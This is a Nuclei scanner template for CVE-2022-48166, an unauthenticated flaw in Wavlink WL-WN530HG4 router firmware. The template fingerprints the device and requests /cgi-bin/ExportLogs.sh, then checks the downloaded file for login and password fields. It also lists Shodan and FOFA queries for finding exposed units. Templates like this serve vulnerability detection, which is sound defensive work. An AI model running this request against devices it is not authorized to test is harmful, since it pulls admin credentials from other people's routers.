id: CVE-2022-48166

info:
  name: Wavlink WL-WN530HG4 M30HG4.V5030.201217 - Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    An access control issue in Wavlink WL-WN530HG4 M30HG4.V5030.201217 allows unauthenticated attackers to download configuration data and log files and obtain admin credentials.
  impact: |
    Successful exploitation could lead to sensitive information disclosure.
  reference:
    - https://docs.google.com/document/d/1zvbuu3Hkk3CAkojAivlUESvtHblHJNLJdpGOoNtk-Vo/edit?usp=sharing
    - https://github.com/strik3r0x1/Vulns/blob/main/WAVLINK%20WN530HG4.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-48166
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-48166
    epss-score: 0.71385
    epss-percentile: 0.98644
    cpe: cpe:2.3:o:wavlink:wl-wn530hg4_firmware:m30hg4.v5030.201217:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: wavlink
    product: wn530hg4_firmware
    shodan-query: html:"WN530HG4"
    fofa-query: body="WN530HG4"
  tags: cve,cve2022,wavlink,exposure,wn530hg4

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "WN530HG4")'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportLogs.sh"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Login=", "Password=", "WiFi_", "WAVLINK")'
          - 'contains_all(header, "application/octet-stream", "filename=\"")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402207ebe3d89ebbdc50803060b0f217d968ae20650de2717ef7c10fb8c36ddd32dc8022036974cb5ce70df6f3dbec367312a4f7621f779938c6e3ae25bd8fc51900c6c4c:922c64590222798bb761d5b6d8e72950